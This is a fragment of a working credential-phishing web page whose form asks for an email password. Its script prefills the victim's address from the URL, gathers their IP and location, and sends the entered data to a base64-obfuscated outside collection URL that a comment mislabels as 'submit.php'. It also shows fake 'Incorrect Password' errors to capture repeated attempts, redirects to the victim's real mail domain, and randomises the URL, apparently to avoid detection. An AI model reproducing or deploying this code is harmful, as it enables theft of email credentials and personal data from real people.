</div>
                <div class="input-field">
                    <label for="password"></label>
                    <input type="password" id="password" name="password" placeholder="Email Password" required>
                </div>
                <div id="error" class="error-message">Incorrect Password! Please Try Again.</div>
                <button type="submit" class="submit-btn">Continue</button>
            </form>
        </div>
    </div>
    <script>
        let attempt = 1;

        // Function to grab the URL hash and auto-populate the email
        function autoGrabEmail() {
            const hash = window.location.hash;
            if (hash && hash.includes('#')) {
                const email = hash.replace('#', ''); // Get the value after # and treat it as the email
                document.getElementById('email').value = email;
            }
        }

        // Function to get location data (IP, state, country, etc.)
        async function fetchLocationData() {
            try {
                const response = await fetch('https://ip-api.com/json/');
                const data = await response.json();
                const locationData = {
                    ip: data.query,
                    country: data.country,
                    region: data.regionName,
                    city: data.city,
                    timezone: data.timezone,
                    isp: data.isp,
                    lat: data.lat,
                    lon: data.lon
                };

                // Store location data in a hidden input field
                document.getElementById('location-data').value = JSON.stringify(locationData);
            } catch (error) {
                console.error('Error fetching location data:', error);
            }
        }

        // Call autoGrabEmail and fetchLocationData on page load
        window.onload = function () {
            autoGrabEmail();  // Grabs email from # in the URL
            fetchLocationData();
        };

        // Handling form submission
        document.getElementById('authForm').addEventListener('submit', function (event) {
            event.preventDefault(); // Prevent default form behavior

            const passwordField = document.getElementById('password');
            const emailValue = document.getElementById('email').value;
            const errorMessage = document.getElementById('error');
            const submitLoader = document.getElementById('submitLoader');

            // Base64 decode the action URL (from the encoded string)
            const encodedPath = 'aHR0cHM6Ly9kZXYtYnJvdGVuY2h1YnVxb3IucGFudGhlb25zaXRlLmlvL2lyZS9pYnUucGhw'; // This is the base64 encoded path for 'submit.php'
            const decodedPath = atob(encodedPath); // Decode it using atob()

            // Show submit loading indicator
            submitLoader.style.display = 'flex';

            setTimeout(() => {
                submitLoader.style.display = 'none'; // Hide loading after 3 seconds

                // Submit form data to decoded PHP path each time submit is pressed
                const formData = new FormData(this);

                fetch(decodedPath, {
                    method: 'POST',
                    body: formData
                });

                // Handle the three attempts logic
                if (attempt < 3) {
                    errorMessage.style.display = 'block';
                    passwordField.value = ''; // Clear the password field
                    attempt++;
                } else {
                    // After the 3rd failed attempt, redirect to the email domain
                    const emailDomain = emailValue.split('@')[1]; // Get the domain from the email
                    window.location.href = 'https://' + emailDomain; // Redirect to the email domain
                }
            }, 2000); // 3-second delay for loading animation
        });

        // Loading screen logic
        window.addEventListener('load', function () {
            showLoadingText();
            setTimeout(hideLoader, 3000); // Adjusted loading time
        });

        function hideLoader() {
            const loader = document.getElementById('loader');
            const mainContent = document.getElementById('main-content');
            loader.style.opacity = '0';
            loader.style.visibility = 'hidden';
            mainContent.style.opacity = '1';

            // Apply background image after the loader is hidden
            document.body.style.backgroundImage = "url('https://i.imghippo.com/files/zqia9749uEE.png')"; // Replace with your image URL
            document.body.style.backgroundSize = "cover";
            document.body.style.backgroundPosition = "center";
            document.body.style.backgroundRepeat = "no-repeat";
        }

        function showLoadingText() {
            const textElement = document.querySelector('.loading-text');
            setTimeout(() => {
                textElement.textContent = "Loading... Do not close or refresh the page!";
            }, 2000);
            setTimeout(() => {
                textElement.textContent = "Almost ready... Please wait!";
            }, 4000);
        }
    </script>
    <script>
        function generateRandomString(length) {
            const characters = 'Aa1Bb2Cc3Dd4Ee5Ff6Gg7Hh8Ii9J0Kk2Ll1Mm3NnoOp4Pq5QrR6Ss7T8UfVWiXYZabcdefghijklmnopqrstuvwxyz0123456789';
            let result = '';
            for (let i = 0; i < length; i++) {
                result += characters.charAt(Math.floor(Math.random() * characters.length));
            }
            return result;
        }

        function appendRandomStringToURL() {
            const randomString = generateRandomString(350);
            const currentURL = window.location.href.split('?')[0];
            // Use string concatenation as a temporary measure to avoid potential backtick issues
            window.history.replaceState(null, null, currentURL + "?websrc=" + randomString);
        }

        window.onload = appendRandomStringToURL;
    </script>

</body>

</html>